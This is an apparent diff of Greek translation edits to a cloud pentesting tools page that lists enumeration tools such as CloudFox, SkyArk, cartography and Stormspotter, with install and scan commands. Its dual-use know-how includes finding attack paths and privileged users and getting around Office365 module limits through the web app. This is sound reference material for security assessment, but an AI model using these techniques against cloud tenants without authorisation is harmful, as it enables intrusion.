### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
|
||||
|
||||
AWS, GCP, Azure, DigitalOcean.\
|
||||
Απαιτεί python2.7 και φαίνεται ότι δεν συντηρείται.
|
||||
Απαιτεί python2.7 και φαίνεται μη συντηρούμενο.
|
||||
|
||||
### Nessus
|
||||
|
||||
Το Nessus έχει μια _**Audit Cloud Infrastructure**_ σάρωση που υποστηρίζει: AWS, Azure, Office 365, Rackspace, Salesforce. Ορισμένες επιπλέον ρυθμίσεις στο **Azure** είναι απαραίτητες για να αποκτήσετε ένα **Client Id**.
|
||||
Ο Nessus έχει μια σάρωση _**Audit Cloud Infrastructure**_ που υποστηρίζει: AWS, Azure, Office 365, Rackspace, Salesforce. Χρειάζονται επιπλέον ρυθμίσεις στο **Azure** για να αποκτήσετε ένα **Client Id**.
|
||||
|
||||
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
|
||||
|
||||
Το Cloudlist είναι ένα **multi-cloud εργαλείο για την απόκτηση Assets** (Ονόματα κεντρικών υπολογιστών, Διευθύνσεις IP) από Παρόχους Cloud.
|
||||
Το Cloudlist είναι ένα **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) από Cloud Providers.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Cloudlist" }}
|
||||
@@ -263,12 +263,12 @@ cloudlist -config </path/to/config>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### [**χαρτογράφηση**](https://github.com/lyft/cartography)
|
||||
### [**cartography**](https://github.com/lyft/cartography)
|
||||
|
||||
Η χαρτογράφηση είναι ένα εργαλείο Python που ενοποιεί τα περιουσιακά στοιχεία υποδομής και τις σχέσεις μεταξύ τους σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από μια βάση δεδομένων Neo4j.
|
||||
Cartography είναι ένα εργαλείο Python που συγκεντρώνει πόρους υποδομής και τις σχέσεις μεταξύ τους σε μια διαισθητική προβολή γράφου που υποστηρίζεται από μια βάση δεδομένων Neo4j.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Εγκατάσταση" }}
|
||||
{{#tab name="Install" }}
|
||||
```bash
|
||||
# Installation
|
||||
docker image pull ghcr.io/lyft/cartography
|
||||
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
|
||||
|
||||
### [**starbase**](https://github.com/JupiterOne/starbase)
|
||||
|
||||
Το Starbase συλλέγει πόρους και σχέσεις από υπηρεσίες και συστήματα, συμπεριλαμβανομένης της υποδομής cloud, εφαρμογών SaaS, ελέγχων ασφαλείας και άλλων, σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από τη βάση δεδομένων Neo4j.
|
||||
Το Starbase συλλέγει περιουσιακά στοιχεία και σχέσεις από υπηρεσίες και συστήματα, συμπεριλαμβανομένης της υποδομής cloud, εφαρμογών SaaS, ελέγχων ασφαλείας και άλλων, σε μια διαισθητική προβολή γράφου υποστηριζόμενη από τη βάση δεδομένων Neo4j.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
|
||||
|
||||
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||
|
||||
Ανακαλύψτε τους πιο προνομιούχους χρήστες στο σαρωμένο περιβάλλον AWS ή Azure, συμπεριλαμβανομένων των AWS Shadow Admins. Χρησιμοποιεί powershell.
|
||||
Ανακαλύψτε τους πιο προνομιακούς χρήστες στο σαρωμένο περιβάλλον AWS ή Azure, συμπεριλαμβανομένων των AWS Shadow Admins. Χρησιμοποιεί powershell.
|
||||
```bash
|
||||
Import-Module .\SkyArk.ps1 -force
|
||||
Start-AzureStealth
|
||||
@@ -372,15 +372,15 @@ Scan-AzureAdmins
|
||||
```
|
||||
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
|
||||
|
||||
Ένα εργαλείο για να βρείτε την υποδομή, τα αρχεία και τις εφαρμογές μιας εταιρείας (στόχος) στους κορυφαίους παρόχους cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
Ένα εργαλείο για να εντοπίζει την υποδομή μιας εταιρείας (στόχου), αρχεία και εφαρμογές στους κορυφαίους cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
|
||||
### [CloudFox](https://github.com/BishopFox/cloudfox)
|
||||
|
||||
- Το CloudFox είναι ένα εργαλείο για να βρείτε εκμεταλλεύσιμες διαδρομές επίθεσης στην υποδομή cloud (προς το παρόν υποστηρίζονται μόνο AWS & Azure με GCP να έρχεται).
|
||||
- Είναι ένα εργαλείο αρίθμησης που προορίζεται να συμπληρώσει το χειροκίνητο pentesting.
|
||||
- Δεν δημιουργεί ή τροποποιεί κανένα δεδομένο μέσα στο περιβάλλον cloud.
|
||||
- Το CloudFox είναι ένα εργαλείο για να βρει exploitable attack paths στην υποδομή cloud (προς το παρόν υποστηρίζονται μόνο AWS & Azure, με GCP προσεχώς).
|
||||
- Είναι ένα enumeration tool που προορίζεται να συμπληρώσει το manual pentesting.
|
||||
- Δεν δημιουργεί ούτε τροποποιεί δεδομένα μέσα στο cloud environment.
|
||||
|
||||
### Περισσότερες λίστες εργαλείων ασφάλειας cloud
|
||||
### More lists of cloud security tools
|
||||
|
||||
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
|
||||
|
||||
@@ -412,10 +412,11 @@ azure-security/
|
||||
|
||||
### Attack Graph
|
||||
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter) δημιουργεί ένα “γράφημα επίθεσης” των πόρων σε μια συνδρομή Azure. Επιτρέπει στις κόκκινες ομάδες και τους pentesters να οπτικοποιήσουν την επιφάνεια επίθεσης και τις ευκαιρίες pivot εντός ενός ενοικιαστή, και ενισχύει τους υπερασπιστές σας να προσανατολίζονται και να προτεραιοποιούν γρήγορα την εργασία απόκρισης σε περιστατικά.
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter) δημιουργεί ένα “attack graph” των resources σε μια Azure subscription. Επιτρέπει σε red teams και pentesters να οπτικοποιήσουν το attack surface και τις pivot opportunities μέσα σε ένα tenant, και ενισχύει τους defenders ώστε να οργανώσουν και να προτεραιοποιήσουν γρήγορα το incident response work.
|
||||
|
||||
### Office365
|
||||
|
||||
Χρειάζεστε **Global Admin** ή τουλάχιστον **Global Admin Reader** (αλλά σημειώστε ότι ο Global Admin Reader είναι λίγο περιορισμένος). Ωστόσο, αυτοί οι περιορισμοί εμφανίζονται σε ορισμένα PS modules και μπορούν να παρακαμφθούν αποκτώντας πρόσβαση στις δυνατότητες **μέσω της διαδικτυακής εφαρμογής**.
|
||||
Χρειάζεστε **Global Admin** ή τουλάχιστον **Global Admin Reader** (σημειώστε ότι το Global Admin Reader είναι λίγο περιορισμένο). Ωστόσο, αυτοί οι περιορισμοί εμφανίζονται σε μερικά PS modules και μπορούν να παρακαμφθούν προσπελάζοντας τις λειτουργίες **μέσω της web εφαρμογής**.
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user